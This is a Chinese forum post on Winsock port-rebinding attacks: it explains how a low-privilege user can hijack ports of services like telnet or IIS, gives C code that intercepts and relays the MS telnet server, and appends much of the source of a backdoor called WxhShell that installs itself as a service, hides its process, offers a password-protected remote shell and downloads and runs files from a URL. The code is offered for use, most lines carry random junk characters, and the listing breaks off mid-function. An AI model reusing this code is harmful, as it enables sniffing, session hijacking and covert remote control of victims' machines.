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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QK?5)[ J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +XpRkX&-  
WHNb.>  
  saddr.sin_family = AF_INET; .vW~(ZuD  
/yykOvUO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '|d (<.[  
`%ENGB|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N"T8 Pt  
Q?"[zX1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /6q/`vx@  
}TF<C !]  
  这意味着什么?意味着可以进行如下的攻击: 6U&Uyd)  
z!3Z^d`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rmabm\QY  
%'=oMbi>i4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qy70/on9  
M`>W'<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M:I,j  
F}AbA pTv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =d5!O~}r>  
z9'0&G L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9~; Ju^b  
H]-W$V   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?s?uoZ /2  
QE#$bCw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =TP>Y"  
\ yOZ&qU  
  #include 4O`h%`M  
  #include z5vryhX_Z  
  #include EmUxM_ T/2  
  #include    7q^/.:wlf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?+|tPjg $  
  int main() Bjo&  
  { 0ay!tS dN  
  WORD wVersionRequested; b?Jm)  
  DWORD ret; -$0S#/)Z  
  WSADATA wsaData; }2 r08,m  
  BOOL val; ?Tl@e   
  SOCKADDR_IN saddr; 6=g7|}  
  SOCKADDR_IN scaddr; vJCL m/}*  
  int err; sY6'y'a95  
  SOCKET s; ho20> vw#  
  SOCKET sc; = ]@xXVf/  
  int caddsize; m[bu(qz  
  HANDLE mt; V")Q4h{  
  DWORD tid;   F0JFx$AoD  
  wVersionRequested = MAKEWORD( 2, 2 ); qnS7z%H8  
  err = WSAStartup( wVersionRequested, &wsaData ); IY19G U9  
  if ( err != 0 ) { Kulg84<AwM  
  printf("error!WSAStartup failed!\n"); ~>C>LH>8  
  return -1; *Qf }4a0  
  } YHA[PF   
  saddr.sin_family = AF_INET; d5=xOEv; :  
   6wd]X-G++  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q|1bF!#(1  
:$tW9*\KY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "n e'iJf_(  
  saddr.sin_port = htons(23); G 6, 8Xwk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q kKABow  
  { \l2 s^7G_  
  printf("error!socket failed!\n"); oTfbx+i/G  
  return -1; ?qbp  
  } ^~aSrREo  
  val = TRUE; |pgkl`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j<KC$[Kt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I;v`o{  
  { OZ" <V^"`  
  printf("error!setsockopt failed!\n"); L%0lX$2&\  
  return -1; OKqpc;y:D  
  } &f yFUg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LF~#4)B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sZH7 EK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~"mZ0 E  
{_~G+rqY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GWVdNYpmr  
  { mqHt%RX  
  ret=GetLastError(); xS}H483h6W  
  printf("error!bind failed!\n"); nKO&ffb'<  
  return -1; '=H^m D+gl  
  } qck/b  
  listen(s,2); +B m+Pj>  
  while(1) ) G{v>Z ,  
  { 3XnXQ/({  
  caddsize = sizeof(scaddr); $"8k|^Z3  
  //接受连接请求 TUaK:*x*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [:QMnJ  
  if(sc!=INVALID_SOCKET) }j?S?=;m=  
  { zvf]}mNx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;Wa{q.)  
  if(mt==NULL) E5(Y*m!  
  { \zi3.;9|;  
  printf("Thread Creat Failed!\n"); ^ ?=K)  
  break; zK 2wLX  
  } UW*aSZ/?  
  } ]#$kA9  
  CloseHandle(mt); bIArAS9%  
  } ]~^/w}(K  
  closesocket(s); 8UIL_nPO  
  WSACleanup(); \uk#pL  
  return 0; 9^^#I ~-  
  }   $<cZ<g5)  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fsf22  
  { ;*2e;m~)?  
  SOCKET ss = (SOCKET)lpParam; j0~3[dyqU  
  SOCKET sc; kYB <FwwB  
  unsigned char buf[4096]; vb- .^l  
  SOCKADDR_IN saddr; #%9]Lq  
  long num; '-IT@}  
  DWORD val; r?!xL\C\  
  DWORD ret; 8zC k9&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m GhJn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &-fx=gq=  
  saddr.sin_family = AF_INET; .( h$@|Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {^W,e ^:  
  saddr.sin_port = htons(23); \.c )^QQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H g`{9v  
  { V]]qu:Mh8  
  printf("error!socket failed!\n"); |T_Pz& -  
  return -1; @vYmkF`  
  } 'pY;]^M  
  val = 100; 0s|LK  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -;\+uV  
  { QYgN39gp  
  ret = GetLastError(); EYxRw  
  return -1; 5}xni  
  } xacLlX+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #/Fu*0/)`  
  { igrog  
  ret = GetLastError(); X|`,AK Jit  
  return -1; "Y]ZPFh#.  
  } 0f%:OU5Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;_/q>DR>,3  
  { 8 %j{4$  
  printf("error!socket connect failed!\n"); {z/^X<T  
  closesocket(sc); 9.zQ<k2  
  closesocket(ss); B)]{]z0+`  
  return -1; 4nH91Z9=  
  } *Qx|5L!_  
  while(1) LU,"i^T  
  { " ^baiN@ac  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i=UTc1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WcwW@cY7\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y8vH?^:%<  
  num = recv(ss,buf,4096,0); 5 ek %d  
  if(num>0) g&3#22z  
  send(sc,buf,num,0); uq4s bkP  
  else if(num==0) dB+GTq=6f  
  break; 7NB 9Vu|gD  
  num = recv(sc,buf,4096,0); $p3Wjf:bH  
  if(num>0) 5u_4lNJ&  
  send(ss,buf,num,0); 4)HWPX  
  else if(num==0) P"h\7V,d%  
  break; RzRvu]]8  
  } p=+*g.,O  
  closesocket(ss); O^Vy"8Ji}y  
  closesocket(sc); Tn0l|GRuZA  
  return 0 ; n& m?BuG  
  } (}X?v`Y^W  
>&vO4L  
/=m9s  
========================================================== tOg 8L2  
[A9 ,!YY  
下边附上一个代码,,WXhSHELL [Z#.]gb  
Q f-k&d  
========================================================== 9G&l qfX:  
%?oU{KzQ@;  
#include "stdafx.h" 0r-lb[n8i  
I?Jii8|W9  
#include <stdio.h> :aq>  
#include <string.h> 6L2*gO:r?  
#include <windows.h> NhK(HTsvK  
#include <winsock2.h> !)/iRw9re  
#include <winsvc.h> "YzTMKu  
#include <urlmon.h> <W51oO  
^q&wITGI  
#pragma comment (lib, "Ws2_32.lib") )fMX!#KP  
#pragma comment (lib, "urlmon.lib") \ U*-w:+@  
V2s}<uG  
#define MAX_USER   100 // 最大客户端连接数 gQh Ccv  
#define BUF_SOCK   200 // sock buffer reM  
#define KEY_BUFF   255 // 输入 buffer dA)4(0o8fD  
rrY{Jf9>  
#define REBOOT     0   // 重启 H'0*CiHes  
#define SHUTDOWN   1   // 关机 gLaO#cQ%  
=3sldKL&F  
#define DEF_PORT   5000 // 监听端口 ,AbKxT f2  
:@>br+S  
#define REG_LEN     16   // 注册表键长度 D d# SUQ  
#define SVC_LEN     80   // NT服务名长度 JXY!c\,  
} C{}oLz  
// 从dll定义API Q)6wkY+!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }1]!#yMfq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ ~LU 'j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Iq0 #A5U%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  6I cM:x  
"dK|]w8  
// wxhshell配置信息 y/}VtD  
struct WSCFG { OHP3T(Q5  
  int ws_port;         // 监听端口 {|5$1v   
  char ws_passstr[REG_LEN]; // 口令 j,56Lh%1  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vr-3M+l=O  
  char ws_regname[REG_LEN]; // 注册表键名 ^wO_b'@v  
  char ws_svcname[REG_LEN]; // 服务名 UJz4>JF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y!a+#N!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a0?iR5\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t$y&=v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 38U5^`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2u~c/JryN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xrj(,|  
=tf@4_  
}; kg?T$}O  
11B{gUv.]  
// default Wxhshell configuration ll(e,9.D  
struct WSCFG wscfg={DEF_PORT,  mF*?e/  
    "xuhuanlingzhe", /h7>Z9T  
    1, sw$R2K{y  
    "Wxhshell", !k:zLjtp  
    "Wxhshell", @vdc)vN[ /  
            "WxhShell Service", r%TLv  
    "Wrsky Windows CmdShell Service", b 5F4+  
    "Please Input Your Password: ", 5xMA~I0c  
  1, Q+N7:o!;<b  
  "http://www.wrsky.com/wxhshell.exe", z<o E!1St  
  "Wxhshell.exe" AJ>BF.>  
    }; co<2e#p;  
4aalhy<j  
// 消息定义模块 1=/doo{^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; # Z|%0r_~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !Bk[p/\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E?Qz/*'zv  
char *msg_ws_ext="\n\rExit."; >?>ubM`,  
char *msg_ws_end="\n\rQuit."; +Q SxYV  
char *msg_ws_boot="\n\rReboot..."; uv|eVT3jNs  
char *msg_ws_poff="\n\rShutdown..."; s<Ex"+  
char *msg_ws_down="\n\rSave to "; ReI=4Jq11  
N?a1sdR  
char *msg_ws_err="\n\rErr!"; P&[Ft)`  
char *msg_ws_ok="\n\rOK!"; NIGB[2V(  
mh A~eJ  
char ExeFile[MAX_PATH]; 'ZGT`'ri  
int nUser = 0; LsJs Q h  
HANDLE handles[MAX_USER]; d`?U!?Si  
int OsIsNt; <OR.q  
&547`*  
SERVICE_STATUS       serviceStatus; Vq3]7l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 60hNCVq%  
P\q<d  
// 函数声明 R<n8M"B  
int Install(void); L,C? gd@"  
int Uninstall(void); aPD?Bh>JU  
int DownloadFile(char *sURL, SOCKET wsh); J ?ztn  
int Boot(int flag); }t@f |TX  
void HideProc(void); m4P hn~>Gg  
int GetOsVer(void); n0+g]|a AF  
int Wxhshell(SOCKET wsl); P9 {}&z%:  
void TalkWithClient(void *cs); Vqa5RVnI  
int CmdShell(SOCKET sock); U{T[*s  
int StartFromService(void); BKE\SWu  
int StartWxhshell(LPSTR lpCmdLine); ~rgf{oGz  
WZ^{zFoZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w8 ?Pb$Fe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mP9cBLz  
q Z8|B  
// 数据结构和表定义 G0I~&?nDa  
SERVICE_TABLE_ENTRY DispatchTable[] = r/mA2  
{ a&$Zpf!!  
{wscfg.ws_svcname, NTServiceMain}, =@xN(] (  
{NULL, NULL} J 6(~>g  
}; &K5C=]4  
Y%78>-2 L  
// 自我安装 y 2z{rd  
int Install(void) /^++As0pY  
{ a4A`cUt  
  char svExeFile[MAX_PATH]; ]$m#1Kj  
  HKEY key; 42b.7E  
  strcpy(svExeFile,ExeFile); m0=cMVCA!  
rQ`\JE&`  
// 如果是win9x系统,修改注册表设为自启动 DNm(:%)0  
if(!OsIsNt) { Mam8\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vC{ h2A  
  RegCloseKey(key); \ V[;t-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \@Ee9C 13  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p&i. )/  
  RegCloseKey(key); J"%8:pL  
  return 0; %==G+S{  
    } N7e`6d!  
  } ~gu=x&{  
} I*^5'N'  
else { siZr@g!L  
KKLR'w,A>  
// 如果是NT以上系统,安装为系统服务 ]YCPyc:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TRF]i/Bs  
if (schSCManager!=0) O!:QJ ^8 d  
{ &}vR(y*#c  
  SC_HANDLE schService = CreateService r0)JUc}Fyq  
  ( 8 ne/=N|,  
  schSCManager, gO+\O  
  wscfg.ws_svcname, ~c9>Nr9|`  
  wscfg.ws_svcdisp, f"vk# 3  
  SERVICE_ALL_ACCESS, v2Dt3$@H6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uzHT.iBn  
  SERVICE_AUTO_START, YSqv86  
  SERVICE_ERROR_NORMAL, w?kGi>7E  
  svExeFile, [dl+:P:zc  
  NULL, Ee{`Y0  
  NULL, PXV)NC  
  NULL, ETM2p1 ru0  
  NULL, ]kRI}Om2  
  NULL j*tk(o}qG  
  ); bsB},pc  
  if (schService!=0) Dq?E\  
  { fZ[kh{|  
  CloseServiceHandle(schService); y&1%1 #8F  
  CloseServiceHandle(schSCManager); uCw>}3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F 4GP7]  
  strcat(svExeFile,wscfg.ws_svcname); Dt W*n1Bt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `&7mHa61  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #":: ' ?,  
  RegCloseKey(key); -7k[Vg?  
  return 0; T_eJ}(p  
    } VLiIO"u;  
  } \,2gTi,=  
  CloseServiceHandle(schSCManager); w"{bp  
} & B}Lo  
} >L^xlm%7o  
| z:Q(d06  
return 1; tE[H8  
} 4avc=Y5  
%Ys$@dB  
// 自我卸载 `AR"!X  
int Uninstall(void) b 8>q;  
{ gc##V]OD  
  HKEY key; Hk@r5<{  
u+m4!`  
if(!OsIsNt) { m d?b*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z(p*Z,?u  
  RegDeleteValue(key,wscfg.ws_regname); {|z#70  
  RegCloseKey(key); (qUK7$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cQX:%Ix=  
  RegDeleteValue(key,wscfg.ws_regname); }g>kpa0c  
  RegCloseKey(key); Y=E9zUF  
  return 0; \SOeTn+  
  } f27)v(EJ  
} k=?^){[We  
} Jn=42Q:>  
else { mwIk^Sz]@  
8"x9#kyU<3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (_K_`5d;QI  
if (schSCManager!=0) Tp?-* K  
{ X'f)7RbT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J@QdieW6  
  if (schService!=0) vs +QbI6>-  
  { -j&Vtr  
  if(DeleteService(schService)!=0) { .Rvf/-e  
  CloseServiceHandle(schService); 8.yCA  
  CloseServiceHandle(schSCManager); c_#*mA"+  
  return 0; Rv<L#!; t  
  } ^2E hlK^)  
  CloseServiceHandle(schService); }%$OU =T  
  } ?W!ry7gXO  
  CloseServiceHandle(schSCManager); _42Z={pZZq  
} F}D3,&9N  
} )7dEi+v52  
xdZ<| vMR  
return 1; mZ7B<F[qV  
} r2nBWA3  
}#6xFTH  
// 从指定url下载文件 Q4?EZ_O  
int DownloadFile(char *sURL, SOCKET wsh) GF'f[F6oI  
{ ? Vp%=E  
  HRESULT hr; 0Gsu  
char seps[]= "/"; i6Qb[\;  
char *token; T#@{G,N  
char *file; H@D;e  
char myURL[MAX_PATH]; (~&w-w3  
char myFILE[MAX_PATH]; =WK04\H  
&tj0M.-  
strcpy(myURL,sURL); 6aY>lkp  
  token=strtok(myURL,seps); ,hWcytzEw  
  while(token!=NULL) =IZ[_ /@  
  { RBE7485  
    file=token; cKjRF6w  
  token=strtok(NULL,seps); pDn&V(  
  } ,[X_]e;  
J4>;[\%m  
GetCurrentDirectory(MAX_PATH,myFILE); |@RpWp>2  
strcat(myFILE, "\\"); b9uBdo@o  
strcat(myFILE, file); vd (?$  
  send(wsh,myFILE,strlen(myFILE),0); [jrqzB  
send(wsh,"...",3,0); T@P!L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N*_"8LIfi_  
  if(hr==S_OK) >b48>@~bY  
return 0; SE)nD@:  
else 514Z<omrK  
return 1; mb1Vu  
% 5z gd>  
} DnFjEP^  
mI"D(bx\  
// 系统电源模块 ` 1+%}}!$u  
int Boot(int flag) VRbQdiZ{  
{ [b/o$zR  
  HANDLE hToken; Yw)Fbt^  
  TOKEN_PRIVILEGES tkp; -bS)=L  
&RO7{,`  
  if(OsIsNt) { '#D8*OP^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Svw<XJ   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W`M6J}oG  
    tkp.PrivilegeCount = 1; |4mVT&63(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Kkv<"^H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %;|0  
if(flag==REBOOT) { d1]i,C~Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H0>yi[2f  
  return 0; f~ZEdq8  
} hw=GR_,  
else { 89H sPB1"t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dv!r.  
  return 0; ,j178EX  
} ?djQZ *  
  } opp!0:jS*  
  else { .Djta|puu  
if(flag==REBOOT) { sg AzL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XAuI7e  
  return 0; "=A>}q@;H  
} rs]I  
else { Lm6**v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u =J&~  
  return 0; ~L{l+jK$p  
} VkZ.6kV  
} =Op+v"  
(D7$$!}  
return 1; _<*Hv*Zm  
} )`+YCCa6F  
pe.QiMW{8  
// win9x进程隐藏模块 ` A)"%~  
void HideProc(void) h<x4YB5Mj  
{ wC CV2tk  
u0 y 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2@khSWV  
  if ( hKernel != NULL ) 4kl Ao$  
  { X`JV R"=4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?*u*de[,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S6D^3n  
    FreeLibrary(hKernel); gl7|H&&xV  
  } }]6f+  
f p[,C1U  
return; qCPmbg  
} %d;ezY'2  
(sTuG}  
// 获取操作系统版本 t ls60h  
int GetOsVer(void) 1m@^E:w  
{ 9 OT,TpA  
  OSVERSIONINFO winfo; N#ioJ^}n:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X+82[Y,mB.  
  GetVersionEx(&winfo); :iUF7P1I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k'3Wt*i  
  return 1; s'\$t  
  else (gXN%rsY  
  return 0; Vba.uKNjk  
} (zcLx;N  
1/Zh^foG  
// 客户端句柄模块 ,wAz^cK|  
int Wxhshell(SOCKET wsl) ",Cr,;]  
{ PXk?aJ  
  SOCKET wsh; !L24+$  
  struct sockaddr_in client; ,"2TArC'z  
  DWORD myID; ~E5z"o6$  
D Ml?o:l  
  while(nUser<MAX_USER) >m6&bfy\q  
{ y 1\'( 1  
  int nSize=sizeof(client); & E}mX]t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =^;P#kX  
  if(wsh==INVALID_SOCKET) return 1; `[fx yg:u  
.u z|/Zy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vbG]mMJ  
if(handles[nUser]==0) |j~lkzPnV  
  closesocket(wsh); ~bK9R 0|<  
else p&b5% 4P  
  nUser++; kHK0(bYK  
  } </`yd2>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7'lZg<z{~j  
2kh"8oQ  
  return 0; m#7*:i&@Y  
} }6u2*(TmD  
Ea $aUORm  
// 关闭 socket (eWPis[  
void CloseIt(SOCKET wsh) 23]Y<->Eu<  
{ OF U/gaO~  
closesocket(wsh); {KL5GowH  
nUser--; ci9R.U)  
ExitThread(0); L=; -x9  
} vX|UgK?2^  
*m+BuGt|  
// 客户端请求句柄 9&]M**X  
void TalkWithClient(void *cs) \wvg,j=  
{ 0Q5^C!K  
!ZXUPH  
  SOCKET wsh=(SOCKET)cs; r(A.<`\   
  char pwd[SVC_LEN]; \}0-^(9zd  
  char cmd[KEY_BUFF]; 4,p;Km&  
char chr[1]; V ~{fB~  
int i,j; {R6HG{"IS6  
jNDx,7F-  
  while (nUser < MAX_USER) { J @IS\9O  
RW'nUL?_\  
if(wscfg.ws_passstr) { ]; $] G-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5*g]qJF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9LC&6Q5O&  
  //ZeroMemory(pwd,KEY_BUFF); i5}4(sV  
      i=0; 5 `D-  
  while(i<SVC_LEN) {  t+uE  
(qM j-l  
  // 设置超时 ,M5}4E7L%s  
  fd_set FdRead; wf.T3  
  struct timeval TimeOut; !^c@shLN4  
  FD_ZERO(&FdRead); dEa<g99[?  
  FD_SET(wsh,&FdRead); ~wm;;#_O  
  TimeOut.tv_sec=8; ~nLN`H d  
  TimeOut.tv_usec=0; bC!`@/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); OX]V) QHVZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cZ8.TsI~  
zmuMWT;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xGk6n4Gg  
  pwd=chr[0]; FDzqL;I  
  if(chr[0]==0xd || chr[0]==0xa) { O*6n$dUj3  
  pwd=0; 1 T<+d5[C  
  break; I{'f|+1  
  } `_ %S  
  i++; aW_oD[l  
    } PUJ2`iP1^3  
68fiG  
  // 如果是非法用户,关闭 socket G"5D< ]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lo.rvt  
} am1[9g8L  
x\e;+ubt}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J5Z%ImiT^O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,8'>R@o  
@D^^_1~  
while(1) { u^Ku;RQo  
Uh eC  
  ZeroMemory(cmd,KEY_BUFF); oTjyN\?H  
:(|'S4z  
      // 自动支持客户端 telnet标准   E_z;s3AXQ  
  j=0; uQ$^;Pr  
  while(j<KEY_BUFF) { :'L2J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CbBSFKM  
  cmd[j]=chr[0]; e>rRTN  
  if(chr[0]==0xa || chr[0]==0xd) { wBj-m  
  cmd[j]=0; uE/T2BX*  
  break; .0 )Y  
  } N;oQ^B'  
  j++; Vgb *% I  
    } AI vXb\wL  
1+;C`bnA  
  // 下载文件 Xl7aGlH  
  if(strstr(cmd,"http://")) { M,5j5<7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d$ACDX2  
  if(DownloadFile(cmd,wsh)) g1E~+@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A5:qKaAq  
  else BaF!O5M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 620%Z*   
  } IzOYduJ.  
  else { 4BYE1fUzd  
EI>6Nh  
    switch(cmd[0]) { %=we `&  
  Z7rJ}VP  
  // 帮助 o{b=9-V  
  case '?': { EJ}!F?o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g>0XxjP4  
    break; B$3 ?K  
  } $0oO &)*  
  // 安装 l- pe4x  
  case 'i': { s&kQlQ=  
    if(Install()) >>b3ZE|5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,C.:;Ime({  
    else hVT~~n`Rj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )5j;KI%t  
    break; V3;.{0k  
    } ]?1Y e8>Y<  
  // 卸载 SnlyUP~P  
  case 'r': { Pz#7h*;cw.  
    if(Uninstall()) qSqI7ptA\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); keW~ NM  
    else up3O|lj4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -4rDbDsr  
    break; kd:$oS_*s  
    } NgCuFL(Ic  
  // 显示 wxhshell 所在路径 5AS[\CB4  
  case 'p': { Qp"y?S  
    char svExeFile[MAX_PATH]; 4to% `)]  
    strcpy(svExeFile,"\n\r"); Xv <G-N4  
      strcat(svExeFile,ExeFile); a {}|Bf<  
        send(wsh,svExeFile,strlen(svExeFile),0); <}U'V}g  
    break; L9Z;:``p  
    } _Y=2/*y^  
  // 重启 <^~FLjsfg  
  case 'b': { .?p\n7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /&& 2u7*  
    if(Boot(REBOOT)) do-ahl,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aSuM2  
    else { ,:fl?x.X  
    closesocket(wsh); $&s=68  
    ExitThread(0); Om'+]BBN  
    } 9 3+"D`  
    break; g*)K/Z0pJ$  
    } u~ ~R9.  
  // 关机 M/?KV9Xk2  
  case 'd': { 9odJr]  
